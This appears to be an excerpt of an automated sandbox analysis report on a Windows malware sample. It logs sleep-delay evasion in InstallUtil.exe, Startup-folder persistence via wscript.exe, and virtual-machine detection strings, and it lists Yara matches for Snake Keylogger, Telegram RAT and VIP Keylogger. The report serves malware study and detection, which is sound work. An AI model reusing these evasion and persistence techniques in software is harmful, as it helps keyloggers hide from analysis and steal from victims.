Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -595736s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -595596s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -595463s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -595341s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -595164s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -594813s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -594688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -594563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -594438s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -594328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -594219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -594094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -593860s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596970	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596846	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594842	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594730	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594623	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594458	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594059	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593555	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595736	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595596	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595463	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595341	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595164	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior

Source: wscript.exe, 00000002.00000002.1444787963.000001F4D61B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: InstallUtil.exe, 00000004.00000002.2566343154.0000000000687000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll934e
Source: XsdType.exe, 00000003.00000002.1463433201.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: XsdType.exe, 00000003.00000002.1463433201.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 00000001.00000002.2567835645.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 1_2_064B8FE8 LdrInitializeThunk,

1_2_064B8FE8

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\XsdType.exe "C:\Users\user\AppData\Roaming\XsdType.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Queries volume information: C:\Users\user\Desktop\pbgjw8i8N7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Queries volume information: C:\Users\user\AppData\Roaming\XsdType.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 00000001.00000002.2570925272.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2570925272.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2569306283.00000000023C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbgjw8i8N7.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XsdType.exe PID: 6732, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.XsdType.exe.3bbbdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack, type: UNPACKEDPE
